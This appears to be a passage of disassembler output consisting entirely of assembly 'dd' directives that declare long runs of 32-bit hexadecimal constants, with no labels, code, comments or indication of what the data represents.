dd 0C9BB0073h, 17ED2FB2h, 0F9005764h, 139E0668h, 60739A70h
dd 0FE5910FAh, 6CEEE5E1h, 0EE0052ECh, 0C10D1D50h, 4A6B8B3Eh
dd 5B9800ACh, 0EFF204F4h, 0AC90114Ah, 1C06BF98h, 9C50F9C1h
dd 0EFB25F12h, 9EBE3800h, 3226033Ah, 732CA420h, 0D1DAE200h
dd 3E6FECB9h, 7C2A7DADh, 7044E7C8h, 1C7248C0h, 0EBC53A4Fh
dd 0E7118C84h, 8310D0AEh, 0D8C0B6FCh, 0EBCFC36Ch, 1E654E33h
dd 0BC1F8070h, 35BB3B42h, 0C8A9B628h, 2D0BEA00h, 0A6719B66h
dd 0BF3A0E5Bh, 0DC8005F1h, 0CCCF4CB1h, 403359h, 5D19FF51h
dd 160DD21Ch, 12DB4AF5h, 402C525Ch, 0DA0AC4E0h, 0C4C17CA7h
dd 806B6395h, 0EEB42864h, 6A7E0070h, 0BA99E9B1h, 0E400E3BDh
dd 55053C02h, 90FA38C4h, 0CB88805Eh, 78680088h, 0BB8FF7A4h
dd 0DC009930h, 1BAD2035h, 0B235327h, 58C8F65Dh, 8C93F0C0h
dd 50B8483Dh, 850EC5B8h, 601282E6h, 0B7F19AA9h, 0A81D2647h
dd 43D2465h, 0C0AEE929h, 0CB1541ECh, 0FEEB3600h, 5D9E5B4h
dd 0BD420079h, 4526F155h, 0B1001DDEh, 64D41C81h, 1671CF12h
dd 80467CDCh, 0C935E7E0h, 164EB560h, 78778BA2h, 913F1666h
dd 0FE34416Fh, 0D8BBB68Ah, 47755841h, 55079B00h, 0D2E2A609h
dd 7264C03Dh, 2B560818h, 6297B40Fh, 63F0A069h, 65DBA7h
dd 0B587CD2Ah, 0E9D1DD33h, 92899500h, 0C6800DC4h, 1FC1D4Bh
dd 0D680FA29h, 4FA31F3Bh, 1200A016h, 6F731415h, 24365Dh
dd 0D2094662h, 661AF68Eh, 0B4293100h, 1E3BF1CAh, 6C775Dh
dd 0DF05B3C4h, 34B8EDCDh, 0B0850D2Ch, 0C965EB00h, 4BCDCA9h
dd 0A87F21D9h, 12548050h, 0EE75C826h, 0E9175E16h, 9CBA8002h
dd 6584406h, 57E5138Ah, 4612D845h, 9400B0B5h, 0E8CED83Fh
dd 5C665906h, 0D9EC1276h, 4E544234h, 30B89F6h, 0E9FD9E1Ch
dd 0B9CD4B81h, 0C9152082h, 8CC875E2h, 0A4001EB1h, 0D3C0CF3Eh
dd 95698A85h, 58B57480h, 480EB9CCh, 6092186Ch, 0B01E6A2Bh
dd 0FAC90143h, 26CDE730h, 0D5F3E0EAh, 96918D02h, 549A7C09h
dd 1FEF012Ch, 3A048F5Dh, 2309FF0h, 0EC8A6841h, 4C40197Eh
dd 4900813Fh, 0F56F9BBh, 0F06FC3h, 8463649Ch, 2A1EB020h
dd 52DF1400h, 2306EB65h, 0FCB40013h, 573C48DDh, 0C201A593h
dd 6C1D8D08h, 2BC5A7B6h, 3C719D00h, 9959DF17h, 8A535842h
dd 67DE0ADh, 6B213C79h, 4884183Eh, 80874757h, 0F9C6D530h
dd 0A6FE9C00h, 51CFAB8h, 3A4D00CFh, 8A4774DEh, 5F0080D6h
dd 0C87DE608h, 9C5C4Ch, 9F728E4Eh, 382CD0EBh, 0A69B700h
dd 344236ECh, 5AF10078h, 0A21802FCh, 72FE1F54h, 58049DE4h
dd 5B77F27Bh, 0A94C8CC0h, 0E8BF002Ch, 0AD162603h, 38F6E1F8h
dd 0B828AC00h, 122207EBh, 477A5B0Ah, 20F884E4h, 478F3D6Ch
dd 571BB900h, 0BA0CC210h, 0D0BF597Ah, 4B9D491Eh, 0ECC02B05h
dd 5F007B17h, 1FFB66A0h, 58EA31A9h, 1D001C53h, 6D7D412Eh
dd 38F0574Bh, 7D73600h, 0AEC7B10Eh, 4EA00A7h, 0BA5F16F9h
dd 39C0B822h, 1C3F2D20h, 0EC065085h, 9F320781h, 800E79E4h
dd 0ACE3EF9Ch, 8C09C573h, 0A59B863h, 6002861h, 1B1C974Ch
dd 0D58500A3h, 627E7728h, 2A7DF135h, 880AD10Eh, 0D0CEE02Dh
dd 2627B515h, 77C92CAh, 0F0B9ADF0h, 67BF307Ah, 20669426h
dd 1EF63281h, 288ECBEBh, 5580D38Dh, 244B6C3Dh, 0A6770E03h
dd 80EEA3DCh, 3FACDF36h, 26BDF78Ch, 0C5F68900h, 0D046AA78h
dd 0ED0AF100h, 81B41A1Ch, 52A900CAh, 5DBD2508h, 0BC001293h
dd 604A5F2h, 39E0C13Bh, 0B3009A63h, 0F889E6DCh, 0AB90E201h
dd 0A90FEB13h, 0DC0D497h, 38C80B7h, 6EA52CF9h, 789AA10Eh
dd 9E4F6940h, 39131C00h, 3874DF6Bh, 53980060h, 0BFE96C86h
dd 623CE4BDh, 88430699h, 40BA21h, 911BB069h, 0A63E4DA7h
dd 18B9FF34h, 7BD36090h, 33900092h, 0CC81E496h, 0A30F7888h
dd 0C042C641h, 2A588C79h, 19800337h, 23E4F12Fh, 305C0EB2h
dd 11F24300h, 28265Ah, 0AB31321h, 0F905952Ah, 76C735Ch
dd 0B5388348h, 76382226h, 92880068h, 89D9A4A7h, 4D03B498h
dd 97E6916Fh, 0AD1117F7h, 74D40126h, 0FCE75188h, 61018F54h
dd 0CDFB3E5Ch, 6DC0544h, 0D8CF01F4h, 0B14286BDh, 3B0DC8C6h
dd 0D7C1AB00h, 0E955913Ch, 0DDE83945h, 0E4424900h, 90E5B29Ch
dd 1C513F38h, 4F01074Eh, 317F045h, 71388C70h, 0D4FABDh
dd 7D8FDF10h, 1E9B2FA6h, 4CA7090Fh, 96409DC3h, 0F65A6168h
dd 940F035Bh, 3555226Eh, 0B3E58CB0h, 9AA12100h, 0D3D9AC1Eh
dd 865A0002h, 71FFC77Ah, 0D4241545h, 0DE002C1Dh, 0E595BAEEh
dd 25E300C2h, 485DFE83h, 0D71D5068h, 4E007B1Dh, 3AF9F1C1h
dd 32BE0084h, 1AD00901h, 9B01C911h, 0D63445F7h, 3A60EEAEh
dd 29C80040h, 0D9AFB173h
dd 9F00F420h, 3669A966h, 0FABFCD5Fh, 92290043h, 0ED202793h
dd 4F0034D0h, 48C44B3Ch, 56777Ah, 0B05BB25Dh, 1503F85Ah
dd 0A2AD5301h, 5C236A02h, 4EA5ECh, 0DE170F0Ah, 58B73C69h
dd 12493D2Eh, 92803B00h, 48AD3Eh, 287040C1h, 44025D73h
dd 0DED10E01h, 51B28ABAh, 4AABE1DFh, 0AA16E0h, 0C13A6BFBh
dd 0B2F776C2h, 1C387460h, 3625D71h, 43CBDC89h, 1874E606h
dd 7200B0B8h, 3DA8EFABh, 1E087C0h, 0AD4A5EF2h, 0ECA06B0Eh
dd 0B6006EE9h, 9D2FD518h, 309CCE8Dh, 9439C579h, 0B518768Fh
dd 6BC1FEE5h, 0AEDA1317h, 1890177h, 60E9C366h, 0F0073BCh
dd 42E163D4h, 7A8F99h, 0A2FE0114h, 9D46D1DAh, 276E6016h
dd 37999000h, 1B5E6F7h, 0D4E82FA1h, 80EFBDE7h, 6784ADF0h
dd 301BBC5Ah, 0B169B46Eh, 4200DA83h, 0FDAA0CD4h, 3C8031Eh
dd 0D69BE569h, 290E6C87h, 40492A27h, 4D96C6A1h, 1839672Eh
dd 0E36F056h, 6907E52Fh, 82635341h, 0D173C3h, 33E15689h
dd 89D748CFh, 0AE51BE60h, 45A752h, 2E188F12h, 0EB356A9Bh
dd 0E1E3000h, 6F3D6209h, 0BBCA186Dh, 3AB12045h, 4D802109h
dd 1AFE0079h, 2C3BFEh, 0D69AB6D1h, 0DC0B7343h, 2608DD00h
dd 7875876Bh, 0B170F5h, 0F4BBFFCEh, 8BBE4C65h, 0D6140092h
dd 78C89CB3h, 377BBC00h, 41560FA5h, 5E3A00A9h, 9116CCAFh
dd 0F0031CCDh, 0C9ED2CE9h, 49890AAh, 464302C8h, 4D613581h
dd 0FB0D5440h, 80CF3F3Eh, 8B743128h, 0A72112h, 9771BD9h
dd 68D239AAh, 47BEE0C0h, 458240h, 0B05CFCEBh, 8D31A64Fh
dd 0A89DCD00h, 39580161h, 5F031CC2h, 0D7F9401Bh, 3314A3B3h
dd 0D4287FFCh, 0D008C80h, 0B14969CCh, 0F41D76h, 6D82863Ch
dd 4818D056h, 0A9636100h, 3616D960h, 937732h, 0E82DAF82h
dd 0A45680F1h, 0DEF02BE9h, 115100FEh, 0F4B2586Fh, 9C007525h
dd 0C68ABD6Bh, 14F98528h, 0A0EE6778h, 0C0FB3107h, 1971129h
dd 8D9AC436h, 0A854FC00h, 20DE451Eh, 12D500C1h, 6CEB3DF0h
dd 132442B8h, 0EC9EB092h, 0F7368040h, 3BF1D22h, 0F1FCAD0Ch
dd 60F8AB17h, 0D70019E1h, 0E6463161h, 275F46Ch, 96DFF1C2h
dd 0DCAFDD24h, 8AA04EB2h, 5CB2C041h, 1E7026A5h, 0D340146Ch
dd 74823330h, 1D093AC0h, 0F1AC00F4h, 0F623B5D4h, 0FF045340h
dd 0CD944D6Dh, 0CF085C90h, 9928014Bh, 0C6D977DBh, 561C249Dh
dd 301A2B5Ch, 0C226C872h, 12C7993h, 0BE1A953Dh, 809DB475h
dd 0AF7FA581h, 0D03742h, 4E1E0391h, 8858EDF3h, 87BE0B18h
dd 49538129h, 0ADC0C4CDh, 0B90F491Ah, 39D93109h, 0FF4C101Dh
dd 2D2F003Bh, 42B21248h, 8124BE15h, 3BBCF0h, 9579C1Ah
dd 96A251h, 0CA3881Bh, 4713A14Ch, 7DF4CCF0h, 0E5095507h
dd 202F63CFh, 0B482DB22h, 0A9160051h, 0AC6134E1h, 714C65DCh
dd 176D0138h, 70271E6Ah, 0D22F1080h, 0BCB38F60h, 69D57700h
dd 7368C5F9h, 0D9832427h, 81DF1E88h, 0DB8D426h, 6C54E050h
dd 0ED4B7B00h, 0C6EBE515h, 2C889AF9h, 84044E26h, 803DFB94h
dd 0B484E56Ch, 995B6800h, 50483B44h, 0AB30E1C6h, 0B260C0E2h
dd 711D1CCEh, 0EC4F0D00h, 967E68DEh, 2547E22h, 0FB6E7FBDh
dd 0BF61AC07h, 3C5C2410h, 4C48E67Fh, 3E20598h, 11C0B6EBh
dd 0A5E906Bh, 7094A40Dh, 1DF1008Bh, 863F5419h, 0DA5BBC05h
dd 0E00047AFh, 10C4AE5h, 0B0C3764Dh, 2B520019h, 12D77F80h
dd 4502CE19h, 427B6D65h, 49F84072h, 15AD1D08h, 0F8A040F4h
dd 112116A8h, 3C811E00h, 0E17959C8h, 0A991583Eh, 33017639h
dd 7AE37538h, 83807E74h, 77E4FE15h, 6D890093h, 352FC24Ah
dd 0FB717B2Dh, 95759800h, 3AED7681h, 37AD0087h, 2EF50FACh
dd 1F00D617h, 0A79A7A28h, 7A2E1h, 9E78BA9Fh, 0CA228B4Ch
dd 0B4EB1400h, 0B5748391h, 8169003Bh, 95049E9Ah, 0FC0099F2h
dd 785E8ECFh, 1A4BAFh, 0A5AB9D72h, 2AC5F63Ch, 7B0C1748h
dd 2893D43Ah, 0EB029434h, 81CC946h, 2CF0BC61h, 12F3AA4h
dd 45B703F9h, 0AF182028h, 1E1FC100h, 0FB08100Ah, 0F63E0057h
dd 4C52F27Fh, 7D0031C4h, 80DE9118h, 48C54164h, 7A00E40Fh
dd 59365ED4h, 54502619h, 0DA075AFCh, 0E3AD41D2h, 60F0C772h
dd 30933838h, 503620E8h, 9C1E157Eh, 74408933h, 0CF5D30A7h
dd 87590040h, 78FA6F64h, 7A245CBEh, 0EB13A0BCh, 0CC50C804h
dd 0C4E614C0h, 0D78607DAh, 0A01D8491h, 0B2C2768Bh, 0BFCF7209h
dd 9B9B0069h, 0E03F3B5Bh, 1BA40B53h, 4080F260h, 6744EF25h
dd 7CD6D512h, 30370C70h, 22D203BDh, 6837A9Bh, 0F08A0DD1h
dd 0F712E867h, 1000BBAEh, 0D49339EFh, 0CD6200C8h, 42CB8183h
dd 351C3666h, 99C0D1BCh, 442D8FC9h, 84B5009Ch, 0CA63CC75h
dd 0C40096DCh, 0B25B03D0h, 1EE26B5Ah, 0F2C90Bh, 4D0928A8h
dd 0F3907B39h, 0DF5D9F00h, 31D47030h, 0C3C03E3Bh, 807AB11Ch
dd 8CF88D99h, 0A028D383h, 0BC03F475h, 7D199ACEh, 0D956A006h
dd 1A6D0C12h, 0F9206E88h, 9DD5800h, 373FECCEh, 67F601A6h
dd 0D4D16298h, 0F7A46007h, 71018719h, 0C0C47330h, 0EA950E7Fh
dd 7BC94C9Dh, 0E58E080h, 0F2002511h, 84A82D1Ah, 7DCE0Ah
dd 0FE956983h, 0BA48F03Dh, 4744Dh, 551B0826h, 0EA400F9Ah
dd 0AA980F71h, 1E002AA4h, 44138728h, 3AE41F12h, 8AEA2902h
dd 40A460A0h, 3899000Bh, 90FE7EFCh, 5400F8F6h, 7D0A936Ah
dd 1EE176ADh, 0C0E458FAh, 0DB1E5189h, 0CA033C20h, 7953158Eh
dd 8B4D996Dh, 0D4D0CDF9h, 0BFBD2894h, 8C7B03B4h, 9E56FB05h
dd 632FC0E0h, 0A578E77Dh, 8D4F1E07h, 5B91D3A6h, 0A8C1D1D8h
dd 0E4D0FE8h, 1F90FB43h, 80A09E9Ch, 0E71EB42h, 0B0392B7Fh
dd 0A4040051h, 8A6DDB33h, 197900F6h, 9BAA0757h, 27072C3Ah
dd 488BBD52h, 3726A6D0h, 38D46FF3h, 0D8966FC1h, 6198C319h
dd 0CF071E0Eh, 3D7B1C93h, 885B2AD3h, 0BD6DE7h, 560CF804h
dd 0A371B1B2h, 0E5C3448h, 80A1A22Fh, 419280E4h, 0A580BC1h
dd 8CA01357h, 0ECF3367h, 0AFE007ECh, 0CB2957Dh, 0D1370101h
dd 2936E19Ah, 3B008C28h, 0C53DFA2Ah, 0B2006A3Eh, 28C1487Fh
dd 6023A79Eh, 80B9BAC8h, 1A01CE54h, 7F9DCA25h, 0DECC68C7h
dd 3820079h, 61261C37h, 0FA02C08Bh, 6AF12F08h, 72F0C8F2h
dd 800C9437h, 0A253A01Ah, 0B6E8B01Bh, 0A80D7C4Ah, 0F3E01818h
dd 8011CF82h, 870ADE05h, 0FB9B80DCh, 0FA18A6F8h, 22589C31h
dd 0F3EA0655h, 0E10A53AFh, 4751A378h, 0BE12EC3Ch, 0EA6D2A00h
dd 0D088B646h, 89EF0005h, 4BA3DF8Fh, 0E5009DE0h, 0FCBEF20Ah
dd 50F12908h, 74206Ch, 9D2C9F49h, 8D20D6EAh, 2206ADE8h
dd 0A85D8F26h, 287303A8h, 901D0A46h, 2F7BD807h, 0AFCF075Ah
dd 2A79A04Bh, 6F16F1h, 0E2240CF7h, 65101950h, 0C7077500h
dd 1D8D6473h, 0C0907FD3h, 38978F18h, 257C3A28h, 948ABE03h
dd 20CE16Fh, 0E6074C39h, 0D6C03C6Dh, 9718F7B1h, 0A9306287h
dd 34FD0004h, 0E63EEFE5h, 18D86547h, 8072D340h, 63788B3Dh
dd 1A05B41Eh, 0D7EFB102h, 7C030F5Dh, 60E621B0h, 227FA100h
dd 85E53269h, 181C6630h, 3C3C09F9h, 886E3004h, 0C088D16Fh
dd 1D084651h, 0C2604CF3h, 36FE7D1h, 1924063Ch, 411BD49Dh
dd 2A9A5E01h, 6566CC58h, 0ED0E48BEh, 0E1636C7Fh, 6D881D28h
dd 0FAF816F5h, 859FB01Fh, 600C348Dh, 1C446000h, 0E8C9053Ah
dd 1C3D556h, 0DB73E0F3h, 1654E80Fh, 828B7200h, 15A2AA36h
dd 0A6760042h, 0B6F72093h
dd 603ECA10h, 0D3C29EAFh, 4454CE00h, 50D697h, 6170B572h
dd 0B69FA1Fh, 0BD1A3900h, 0E58035FDh, 0A1AD011Dh, 9093B2D3h
dd 0FCE3D44Bh, 0B907ECE4h, 0DE24F385h, 0DFE54593h, 0A0098452h
dd 4B02049Ch, 3CC70EF5h, 0C28132D6h, 20459977h, 84A06C7Dh
dd 6200C48Ch, 0E68A1A7Bh, 139D0C9h, 0ED9E0B72h, 80B378FDh
dd 0E7847C28h, 54030CC2h, 65A07Eh, 52992974h, 67CC27EEh
dd 32AD81Fh, 3D918D80h, 30075337h, 0ED3072C4h, 5C3FA91Ah
dd 0A113877Dh, 0D240ECD6h, 0CF98BDCh, 0AD0E8A52h, 0D3042921h
dd 46337C43h, 0E336D5C0h, 0A2C60052h, 8E9C6FDAh, 4B38B088h
dd 930C000Bh, 7DCF9A29h, 0EC64EA58h, 0E148C3A6h, 0A901301h
dd 0A30FFACDh, 621AE5C7h, 40D99705h, 0D52917h, 92E46DBFh
dd 20EEC4C5h, 99018A1Bh, 64FD9089h, 3151C0A7h, 651B2F34h
dd 786F2001h, 0FC078DEDh, 4699DF4h, 6B1CDD4h, 0D0F4C07Ah
dd 220083F9h, 0EC80E6A9h, 24F0C58h, 81F4E817h, 0CAC0A0FBh
dd 57392EC1h, 0CCB500BCh, 809CBABDh, 22C007A5h, 305B3606h
dd 37775F7h, 0D97D7203h, 0E0371B8Eh, 13CD121h, 584C7E54h
dd 8C79C317h, 38112220h, 3E6A0EADh, 0EE83D354h, 1100A9BFh
dd 0CE7FC20Dh, 33192E32h, 0DA097E58h, 3A6D2100h, 6587EB70h
dd 0AE630F8Ch, 0FEA12660h, 80574538h, 0A9A37459h, 7D9DDCD6h
dd 6DD5330Eh, 21000B08h, 9AA99B16h, 3E06D358h, 748E8925h
dd 7C035B48h, 0D0010A96h, 529A57D8h, 38805439h, 0C7E9311Eh
dd 0A0723A5h, 91BBF6Eh, 1F212B46h, 80E8C8FBh, 65FE21F8h
dd 9D600CACh, 5141DFA0h, 4224034Ah, 6C7571C9h, 0F333CEF8h
dd 0A790D905h, 0E580277Bh, 3F8AA3Dh, 5A7809E5h, 0ECE9839Eh
dd 52F2E04Bh, 9C063C3Dh, 63801A8Fh, 168C1F73h, 0FDA701AFh
dd 0B7CEC969h, 8470D0A6h, 82564D00h, 30AEEA01h, 77C6027Fh
dd 8B344026h, 0E69967E0h, 0AD23C500h, 10805081h, 0CB7D00E5h
dd 6C2EA90h, 41E87460h, 3835500h, 2EE3C415h, 68845C0Dh
dd 0DFB3CA07h, 0D4052063h, 0E5008BFDh, 531C2338h, 58334202h
dd 3E0C8734h, 840845Bh, 77E06500h, 0EC5A6452h, 86FA095Fh
dd 420FDBADh, 28C5040h, 0D100D715h, 0C0C90C4Ah, 0CEBFDAEh
dd 4064E39Ah, 0B476ED58h, 2072DD30h, 1CE5F347h, 40EB8160h
dd 3D135E0Bh, 9302932h, 1E37B848h, 59DD1E41h, 525C00C5h
dd 94EEA811h, 2A044E1Dh, 551928C0h, 18ED6E06h, 6C965BC6h
dd 5F0029B8h, 0EE828ECFh, 749181Eh, 466D9116h, 4BDA7098h
dd 2E03AF8Fh, 7D40F4B7h, 5680A7CDh, 1EED3E9h, 0B38E570Bh
dd 98B54E62h, 9221E408h, 86EE00FBh, 8B0A504h, 76005CF7h
dd 231306BFh, 8EC8DAh, 1EEA5E18h, 0D1C1D693h, 7BE3D200h
dd 0D92EA9D8h, 7848D980h, 4D51842h, 7E57B9EEh, 20E332B0h
dd 1FEEFD90h, 176DF900h, 0A627E772h, 8A101F2Eh, 0CC480C7h
dd 0F4C956ACh, 0A3657906h, 111AF6Ch, 0D50D084Fh, 0D8F2B114h
dd 0ED7A212Dh, 55218360h, 15D0D10h, 0F5B24871h, 80E0A820h
dd 524FC0C0h, 0C9CBE2h, 0C74D04BAh, 0C865760Ch, 466084F0h
dd 35A51710h, 0CB7A0E1Ch, 24007E51h, 0A1DA5DFCh, 4681A900h
dd 577C7758h, 0D10F00D4h, 0BAC5E54Bh, 87EABCD2h, 30513E07h
dd 2A50E328h, 0A548C6h, 315712EBh, 0D3A8CD23h, 54C98F18h
dd 0A756F140h, 1B748604h, 0B900105Eh, 190E4B2Ch, 3C0671A0h
dd 119D5608h, 74CC0087h, 0EBC6E05h, 1495B928h, 8621D542h
dd 3D821110h, 0C80E0FF6h, 9CBD8801h, 46DA0BFh, 9CE20FDh
dd 0B1358040h, 550075F4h, 66E9FEDBh, 179C5D04h, 0BBAD1Ch
dd 7EA8CE94h, 0F500A47Dh, 0E3797349h, 0D114D0h, 0AA57896h
dd 76CAD32Ah, 5EE0F403h, 3977BD98h, 0FA075CF1h, 6094FE4Ch
dd 9DE4DB83h, 0A19AB900h, 81F0DFD9h, 7972070Ah, 0B00C7055h
dd 0C25C876Fh, 10C4D8E3h, 8077DA38h, 9001D2B9h, 0EF2A8A6h
dd 26944834h, 85FED9E3h, 0A06920C7h, 5D786735h, 959D3B00h
dd 0E4578645h, 9492058Ch, 8A728Bh, 0A8BF78E9h, 0FB0144B3h
dd 9728B56Eh, 0DEC40AEBh, 0CF270636h, 0C0D7D091h, 9D056800h
dd 89787609h, 7549000Ch, 0C18F5CE2h, 97072BC2h, 0E3F956A2h
dd 47F46F81h, 0A8086C1h, 2BDE1959h, 8A0B179Ch, 80D87035h
dd 8FAE2DEDh, 89710069h, 6134810Fh, 0FB001AFFh, 201239AFh
dd 0D4D54h, 5F3F452h, 4B7E53E0h, 75006AE4h, 95C418C2h
dd 4A9F55h, 9466CF39h, 0FE5E4C21h, 0A2836F00h, 3ACA4B78h
dd 25D30026h, 5B477DD4h, 0EF00D681h, 0F9CCB250h, 6EF6CAh
dd 4209065Ch, 52FC6AA0h, 4CB4AD58h, 80903EA2h, 0A5F4F21Fh
dd 3E34B268h, 93D8440Eh, 0B56F4D00h, 54CF6D84h, 5F40ED00h
dd 2D7F1631h, 9CBD50BCh, 0F07C17B7h, 1833007Bh, 43FE622Ah
dd 774A8A00h, 31D464EFh, 0F6C60014h, 881D13ABh, 903DB99Bh
dd 0B7E0002Eh, 6E0EE8BDh, 91CC00C2h, 1AE90978h, 30985E13h
dd 56E1B600h, 1207FFBDh, 7D7400AAh, 8B23BE3Dh, 4A0066AFh
dd 0A32B4F83h, 4C49DEBAh, 0E00083F9h, 79609559h, 72FE1244h
dd 782750C0h, 0A0B424C2h, 17B8ADBh, 39DE05Dh, 0E4B87117h
dd 0DB755705h, 89625F00h, 0B1268340h, 19ED3BCAh, 85AB2900h
dd 0CD3C5DDAh, 68B8C300h, 0AF383AD4h, 73000CFh, 8C3D2941h
dd 403B076h, 7AE61B5Ah, 92BBCCh, 42895510h, 5E2FE83Bh
dd 0DBB68801h, 90B1B3ECh, 53B2C0h, 0C2D5F173h, 0FAA8CAF5h
dd 0E2316003h, 0AA48F923h, 0E380F58Bh, 13521D6Dh, 11334000h
dd 0F10A251Fh, 0DECD0h, 0FCBE022Bh, 0E8EDCFEh, 41859700h
dd 0E89ABA05h, 1F149014h, 148AB712h, 0A100973Eh, 0B39827E4h
dd 0CA3DC0E2h, 307F8043h, 5CD8B297h, 0AEDE006Ah, 76051C4h
dd 9901734Ah, 48C030ECh, 95709179h, 0BB600FDh, 8944F126h
dd 9400AB84h, 345A4D3Eh, 0AE775Ch, 0EE1CC5E8h, 1B97FDBDh
dd 0F8C7CB00h, 5A966DB6h, 81A500ADh, 9DBE89DBh, 97001265h
dd 0B5B984Eh, 50F938E9h, 0ED7EE90h, 2BB84895h, 0C361DB65h
dd 29FB0A19h, 47A31001h, 24A74FCh, 723075E0h, 0E23600D1h
dd 0E1CAE93Dh, 7C003E7Fh, 0E34A922Ah, 1E4B5DD4h, 3FC105Ah
dd 0DC43EF82h, 0D2631FB2h, 567FA790h, 794C1700h, 63A0BEF4h
dd 981E002Fh, 0EE4E85CCh, 93FC312Ah, 87280D00h, 0E05BD9C2h
dd 0C720009Bh, 2CC671AAh, 0E83FC50Bh, 749F0058h, 8BFE51C3h
dd 9DECE7B3h, 125F004Ch, 3E7ADFE9h, 0E5007871h, 225AF4E6h
dd 50F33Dh, 0ED0B6EDBh, 90C37BBDh, 6B846500h, 3E4F4D3Fh
dd 0A51C0377h, 13B82980h, 0D3C4F024h, 0EFEE7E00h, 0DD0B98h
dd 14E9E006h, 0AB7C87C0h, 280E8D1Fh, 6F5401FFh, 1E6601B2h
dd 3B03E130h, 4C80B704h, 521C385h, 2400417Dh, 52A338CAh
dd 899EA8h, 0FB7E43CEh, 65739097h, 0ADEFB60Fh, 1B26A3C9h
dd 0A02FBB83h, 0B3053h, 59E4A1Fh, 904FA87Bh, 0ADDC8407h
dd 80393702h, 0D43EEC37h, 0E3D6007Eh, 311A168Ch, 0DD005832h
dd 97FF08C0h, 7E771128h, 490500F8h, 2BEC83C9h, 0C9C0BD30h
dd 982C86D3h, 0B45F009Bh, 0DA358502h, 891ECC68h, 6380D52Fh
dd 0BAFBFEB8h, 8E7501B0h, 6E10D225h, 3876604Dh, 3BC3FA1Dh
dd 0D74A2240h, 0A0F1F80Dh, 2113A2BCh, 9780BB21h, 4259B04Fh
dd 2EA8288Bh, 1C90B8h, 0CB1093CDh, 0D08DE5D6h, 87FCC000h
dd 0BA488C22h, 365E141Ah, 0DC00B9B9h, 60E06ED1h, 8000DAD0h
dd 0F8B7AE08h, 0EB7332h
dd 6DDEC5F3h, 0B92D8C6Eh, 7F4C7700h, 0C9A434Dh, 50AB0083h
dd 0B071ADF3h, 6AF439CCh, 0F2E81800h, 84C66872h, 0D9F000C8h
dd 0CA95B64Ah, 9B1E7669h, 2807918h, 0F3B5D421h, 0A83A1F71h
dd 0C18E4048h, 81B168ABh, 51CCD900h, 445CF091h, 0D1310049h
dd 209C55FFh, 0DF006DA4h, 81236CACh, 0ECFBB4Fh, 0F0F97C59h
dd 0CCD296C0h, 7E1688C5h, 9C00E8D8h, 2418F78Ch, 78BB2CEEh
dd 0E17400CBh, 59B9DD6Fh, 0C7434A00h, 9BAAA381h, 9FEC0190h
dd 98F755CFh, 0FEC50B2h, 0C4001F9Ah, 2EC86CC7h, 0EDC911h
dd 729DF594h, 9C70C0C1h, 0A6A82A1Eh, 10AA49C0h, 3979E4E6h
dd 0A4C88DB9h, 0FD89628h, 29C31E0Eh, 3DECF2CAh, 0A9550F80h
dd 9C6F841Ch, 4A6D700h, 0BCB6D670h, 0E9BF00A2h, 6CC0ECADh
dd 73000558h, 0A95B7ECBh, 0B0CED220h, 80DB4826h, 81D54900h
dd 92EB6229h, 30EE9E01h, 0F60A3BDDh, 0E2D420C5h, 0F86C37D2h
dd 7E90B078h, 0DC00A30Ch, 0BF7E17Bh, 7120B3h, 7038FA72h
dd 54073AAh, 0A32C2B00h, 3E93FFADh, 4A8E0396h, 8B6B4323h
dd 55C19F83h, 69D8C045h, 7B672600h, 0CF0BE982h, 0B3250E46h
dd 0D080D19Eh, 626BC5E4h, 64004C7Eh, 6168E543h, 79BD9BEBh
dd 25F6009Ch, 0C5D65D49h, 0A5045231h, 40986AB3h, 0E942A8C0h
dd 0F65F0006h, 69568668h, 0DE585344h, 3543002Ch, 7EA5986Dh
dd 11390095h, 7889BE03h, 0AF036A1Ch, 3E9152A2h, 0FF8E8084h
dd 340F02B6h, 5DF2DC5Bh, 8BC13040h, 0DB0FD00h, 0C2359B0Ch
dd 12CB09Fh, 6444FC94h, 0D8B6DF4Ch, 700286Eh, 231CEFC0h
dd 0B8A8E0ADh, 3CD5036Ch, 0BE162C53h, 0E541AEB0h, 5D0A38h
dd 4059F897h, 0F6BDCCh, 266E09B4h, 0C0BF0ACh, 0AA2C17F4h
dd 0B8004459h, 0E3866119h, 20A860A1h, 58352890h, 460D661Fh
dd 7A502480h, 166B6Fh, 11080D9h, 15299EC0h, 6593F600h
dd 0AC4344E7h, 91F000A0h, 8A18339Ah, 88380A31h, 0F75B807Ch
dd 0E05E752h, 0B409056Ah, 80C84A5Eh, 0C13A6880h, 2F0EF7E8h
dd 20016386h, 0AAFC44DAh, 7099074Ah, 0D016EDC2h, 28AF858Fh
dd 3B932A00h, 64B5435Eh, 0DF2D0058h, 156D9416h, 880283D9h
dd 13396BDEh, 28D481CDh, 0E6D4CBA7h, 76CA00D5h, 7DF4F34Eh
dd 78004601h, 0F19C7B83h, 92BFAFC3h, 983859D4h, 5641BE00h
dd 0F32A7647h, 8FC8A001h, 6DC5FC25h, 775AC8h, 3B7E7D3h
dd 725359B4h, 0AEA11900h, 48765E08h, 8C9258DDh, 4467D907h
dd 13904C2Ch, 6F6FF126h, 596A3D01h, 1880D34Dh, 55B2E6B3h
dd 11CF1D16h, 0C5001746h, 11B75AF6h, 0F4EC009Ch, 0FAEBE8AAh
dd 0D167CCEh, 0AF4603h, 6413B913h, 38C2B4BDh, 0A0F26D8Eh
dd 495E0A80h, 70D200FFh, 0B21D2B65h, 6701C009h, 87AAF950h
dd 5160FA96h, 0E4780A6Ah, 694603Ch, 0C008D159h, 6E718E00h
dd 0B9D17F2h, 0A51B3A15h, 0EA8A103Ah, 3974B1AAh, 803D4AA1h
dd 5361B216h, 77E46h, 0F0965B29h, 45A3FDA9h, 8F62E803h
dd 0A0A02CF6h, 485822EEh, 61001FD4h, 1F92BCD3h, 0C90051CAh
dd 0DAC3ACA3h, 0F7F19Dh, 0A2033B31h, 59E4EC4Eh, 0DBFD1401h
dd 718D5001h, 6E52E681h, 0C8D87269h, 62F21D5Dh, 0DCDDA701h
dd 0DA4FAB63h, 0E0808C50h, 17F73A96h, 9AB4A6h, 5E843CB2h
dd 0FE0043D7h, 0BD6B5F88h, 0FDF5857Ah, 667C1C41h, 0FC77E8D7h
dd 7B2700F0h, 0E8E74C0Dh, 5508676h, 63076C80h, 0CE66E087h
dd 0DA03CC50h, 30F56D12h, 0C9AFF020h, 96256E00h, 7A69395Bh
dd 8CC40089h, 3860C857h, 1931E7D0h, 30D631F2h, 183CAC50h
dd 0B0961ED4h, 0AB64857Ah, 119F8004h, 71186031h, 1FA03C43h
